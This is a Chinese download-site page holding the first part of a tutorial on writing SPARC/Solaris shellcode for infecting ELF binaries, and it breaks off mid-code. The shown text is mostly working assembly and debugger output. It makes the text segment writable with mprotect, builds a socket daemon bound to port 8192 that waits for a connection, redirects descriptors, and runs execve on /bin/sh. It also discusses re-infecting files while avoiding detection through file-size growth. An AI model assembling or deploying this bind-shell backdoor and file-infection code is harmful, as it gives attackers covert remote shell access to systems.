⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 382.html

📁 Jsp精华文章合集,JSP方面各种知识介绍
💻 HTML
📖 第 1 页 / 共 4 页
字号:
--------------------------------------------------------------------------<br><br>--------------------------------------------------------------------------<br>/* gcc -o asm asm.c */<br>int main ( int argc, char * argv[] )<br>{<br>  __asm__<br>  ("<br>    mov  0xea, %o0<br>    ld  [ %l7 ], %o1     ! 第二个参数s<br>    clr  %o2<br>    clr  %o3<br>    clr  %g1<br>    ta  8<br>    st  %o0, [ %l7 + 4 ]   ! [ %l7 +4 ]存放c<br>  ");<br>} /* end of main */<br>--------------------------------------------------------------------------<br><br>一个更加残酷的问题摆到了革命群众的面前。Linux下有125号系统调用,<br>SPARC/Solaris呢?我在Linux的/usr/include/bits/syscall.h中大海捞针一般地找<br>到了125号系统调用的符号名SYS_mprotect,于是转回SUN下在<br>/usr/include/sys/syscall.h中查找SYS_mprotect,还好,116号系统调用就是的。<br>可入口参数呢?我怎么知道那些破破的SPARC芯片寄存器中哪个该设置成相关参数呢?<br>如果你以为革命群众已经到了最后关头,那就太不具备革命乐观主义精神了。万般无<br>奈下,我man mprotect了,呼呼,居然有东西出现,那么下面就不要废话啦,先赶快<br>提取mprotect的汇编码:<br><br>--------------------------------------------------------------------------<br>/* gcc -o test test.c */<br>#include &lt;stdio.h&gt;<br>#include &lt;errno.h&gt;<br>#include &lt;sys/mman.h&gt;<br><br>int main ( int argc, char * argv[] )<br>{<br>  char * buf;<br>  char  c;<br><br>  /* 分配一块内存,拥有缺省的rw-保护 */<br>  buf = ( char * )malloc( 1024 + 4096 - 1 );<br>  if ( !buf )<br>  {<br>    perror( "Couldn't malloc( 1024 )" );<br>    exit( errno );<br>  }<br>  /* Align to a multiple of PAGESIZE, assumed to be a power of two */<br>  buf = ( char * )( ( ( unsigned long )buf + 4096 - 1 ) &amp; ~( 4096 - 1 ) );<br>  c    = buf[77]; /* Read ok */<br>  buf[77] = c;    /* Write ok */<br>  printf( "ok\n" );<br>  /* Mark the buffer read-only. */<br>  // 必须保证这里buf位于页边界上,否则mprotect()失败,报告无效参数 */<br>  if ( mprotect( buf, 1024, PROT_READ ) )<br>  {<br>    perror( "\nCouldn't mprotect" );<br>    exit( errno );<br>  }<br>  c    = buf[77]; /* Read ok */<br>  buf[77] = c;    /* Write error, program dies on SIGSEGV */<br><br>  exit( 0 );<br>} /* end of main */<br>--------------------------------------------------------------------------<br><br>[scz@ /export/home/scz/src]&gt; gcc -o test test.c<br>[scz@ /export/home/scz/src]&gt; ./test<br>ok<br>段错误 (core dumped) &lt;-- -- -- 内存保护起作用了<br>[scz@ /export/home/scz/src]&gt; <br><br>用gdb ./test看到如下入口参数:<br><br>--------------------------------------------------------------------------<br>0x10bc4 &lt;main+152&gt;:   ld  [ %fp + -20 ], %o0<br>0x10bc8 &lt;main+156&gt;:   mov  0x400, %o1<br>0x10bcc &lt;main+160&gt;:   mov  1, %o2<br>0x10bd0 &lt;main+164&gt;:   call 0x21874 &lt;mprotect&gt;<br>0x10bd4 &lt;main+168&gt;:   nop <br>--------------------------------------------------------------------------<br><br>同样,并不直接使用mprotect系统调用,依旧采用syscall的方式,我们编写如下代<br>码:<br><br>--------------------------------------------------------------------------<br>/* gcc -o asm asm.c */<br>int main ( int argc, char * argv[] )<br>{<br>  __asm__<br>  ("<br>    mov  0x74, %o0      ! 第一个参数116<br>    sethi %hi(0x10000), %o1  ! 第二参数,起始地址<br>    sethi %hi(0x00002000), %o2 ! 第三个参数8096<br>    mov  0x07, %o3      ! 第四个参数7,rwx<br>    clr  %g1<br>    ta  8<br>    ! call . ! 用于调试,设置个无限循环,然后用pmap观察<br>    ! nop<br>  ");<br>} /* end of main */<br>--------------------------------------------------------------------------<br><br>别看目前代码这样清晰明了,可是费了不少手脚。关键需要注意的地方是起始地址必<br>须位于页边界上,将来我们可以取得_start之后与一个0xffff0000。甚至再简单点,<br>直接就使用上面这段代码,据我观察很多应用程序的_start都在0x10000到0x20000之<br>间。其次,这里想到了另外一个问题,6.c和7.c在文本段中只设置了4096字节的可读<br>可写区域,所以重复感染的次数不能太多,即使设置了4*4096字节的可读可写区域,<br>也不能重复感染太多次,否则就会出现段溢出错误,因为可能对只读内存区域进行了<br>写操作;再说重复感染多次,文件尺寸的激增也容易暴露,没有必要。我们这里姑且<br>先固定地使用0x10000做起始地址,回头打印一下通过程序找到的文本段起始地址,<br>看看是否符合页边界对齐的要求,如果符合,就可以动态设置起始地址。再说吧,<br>SPARC下罗嗦了许多。<br><br>我们可以整合出一个daemon,这个daemon监听8192端口:<br><br>--------------------------------------------------------------------------<br>/* gcc -o asm asm.c */<br>int main ( int argc, char * argv[] )<br>{<br>  __asm__<br>  ("<br>    mov  0x74, %o0      ! 第一个参数116<br>    sethi %hi(0x10000), %o1  ! 第二参数,起始地址<br>    sethi %hi(0x00002000), %o2 ! 第三个参数8096<br>    mov  0x07, %o3      ! 第四个参数7,rwx<br>    clr  %g1<br>    ta  8<br>    bn,a .-4         ! 跳转去执行call .-4指令<br>    bn,a .-4         ! 跳转去执行nop<br>    call .-4         ! 跳转去执行前面这条bn,a .-4指令<br>    nop            ! 作为延迟插槽被执行一次,bn,a跳转后又执行一次<br>    add  %o7, 172, %l7    ! %o7 + 172 指向本段代码尾部<br>    mov  0xe6, %o0<br>    mov  0x02, %o1<br>    mov  0x02, %o2<br>    mov  0x06, %o3<br>    clr  %g1<br>    ta  8<br>    st  %o0, [ %l7 ]     ! [ %l7 ]存放s<br>    mov  2, %o1<br>    sth  %o1, [ %l7 + 0x04 ] ! serv_addr.sin_family<br>    clr  [ %l7 + 0x08 ]    ! serv_addr.sin_addr.s_addr<br>    sethi %hi(0x2000), %o1<br>    sth  %o1, [ %l7 + 0x06 ] ! serv_addr.sin_port<br>    mov  0xe8, %o0      ! 第一个参数232<br>    ld  [ %l7 ], %o1     ! 第二个参数s<br>    mov  4, %o2<br>    add  %l7, %o2, %o2    ! 第三个参数&amp;serv_addr<br>    mov  0x10, %o3      ! 最后一个参数16<br>    clr  %g1<br>    ta  8<br>    mov  0xe9, %o0      ! 第一个参数233<br>    ld  [ %l7 ], %o1     ! 第二个参数s<br>    mov  0x01, %o2      ! 第三个参数1<br>    clr  %g1<br>    ta  8<br>    mov  0x30, %o0<br>    mov  0x12, %o1<br>    mov  0x01, %o2<br>    clr  %g1<br>    ta  8<br>    mov  0xea, %o0<br>    ld  [ %l7 ], %o1     ! 第二个参数s<br>    clr  %o2<br>    clr  %o3<br>    clr  %g1<br>    ta  8<br>    st  %o0, [ %l7 + 4 ]   ! [ %l7 +4 ]存放c<br>exit:<br>    mov  0x01, %o0<br>    clr  %o1<br>    clr  %g1<br>    ta  8<br>    .ascii \"xxxxxxxx\"<br>    .ascii \"xxxxxxxx\"<br>    .ascii \"xxxxxxxx\"<br>    .ascii \"xxxxxxxx\"<br>  ");<br>} /* end of main */<br>--------------------------------------------------------------------------<br><br>这段代码仅仅演示了很重要的两个部分,一个是设置文本段可写,一个是成功创建套<br>接字并阻塞在accept()系统调用处,一旦有入连接,程序就正常终止了。幸运的是,<br>在经历了太多磨难后,SPARC没有继续为难我们,一切按照预想的发展。<br><br>编写syscall( 6, s )、syscall( 6, c )以及syscall( 62, c, 9, 0 ):<br><br>--------------------------------------------------------------------------<br>/* gcc -o asm asm.c */<br>int main ( int argc, char * argv[] )<br>{<br>  __asm__<br>  ("<br>    mov  0x06, %o0      ! 第一个参数6<br>    ld  [ %l7 ], %o1     ! 第二个参数s<br>    clr  %g1<br>    ta  8<br>    mov  0x3e, %o0      ! 第一个参数62<br>    ld  [ %l7 + 4 ], %o1   ! 第二个参数c<br>    mov  0x09, %o2<br>    clr  %o3<br>    clr  %g1<br>    ta  8<br>    mov  0x06, %o0      ! 第一个参数6<br>    ld  [ %l7 + 4 ], %o1   ! 第二个参数c<br>    clr  %g1<br>    ta  8<br>  ");<br>} /* end of main */<br>--------------------------------------------------------------------------<br><br>还有一个更烦人的execve( name[0], name, 0 ),可以从<br>&lt;&lt; solaris for sparc下shellcode的编写(三) &gt;&gt;中偷一些代码过来:<br><br>--------------------------------------------------------------------------<br>/* gcc -o asm asm.c */<br>int main ( int argc, char * argv[] )<br>{<br>  __asm__<br>  ("<br>    sethi  0xbd89a, %l4  ! sethi %hi(0x2f626800), %l4<br>    or   %l4, 0x16e, %l4<br>    sethi  0xbdcda, %l5  ! sethi %hi(0x2f736800), %l5<br>    and   %sp, %sp, %o0  ! $o0 指向字符串/bin/sh<br>    add   %sp, 8, %o1   ! $o1 存放一个地址,该地址处存放了指向字符串的指针<br>    xor   %o2, %o2, %o2  ! %o2寄存器清零<br>    add   %sp, 16, %sp  ! 留出存储空间<br>    std   %l4, [%sp - 16] ! 存放字符串<br>    st   %o0, [%sp - 8] ! 存放字符串指针<br>    st   %g0, [%sp - 4] ! %g0总是为0<br>    mov   0x3b, %g1    ! 将0x3b拷贝到%g1寄存器中<br>    ta   8        ! 执行中断指令ta 8(execve()完成)<br>  ");<br>} /* end of main */<br>--------------------------------------------------------------------------<br><br>最后研究一下syscall( 3, c, pass, 8 ):<br><br>--------------------------------------------------------------------------<br>0x1033c &lt;main+392&gt;:   mov 3, %o0<br>0x10340 &lt;main+396&gt;:   ld [ %o1 + 0x1b0 ], %o1<br>0x10344 &lt;main+400&gt;:   sethi %hi(0x26400), %o3<br>0x10348 &lt;main+404&gt;:   or %o3, 0x158, %o2   ! 0x26558 &lt;pass&gt;<br>0x1034c &lt;main+408&gt;:   mov 8, %o3<br>0x10350 &lt;main+412&gt;:   call 0x10fec &lt;syscall&gt;<br>0x10354 &lt;main+416&gt;:   nop <br>--------------------------------------------------------------------------<br><br>分析后提炼如下:<br><br>--------------------------------------------------------------------------<br>/* gcc -o asm asm.c */<br>int main ( int argc, char * argv[] )<br>{<br>  __asm__<br>  ("<br>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -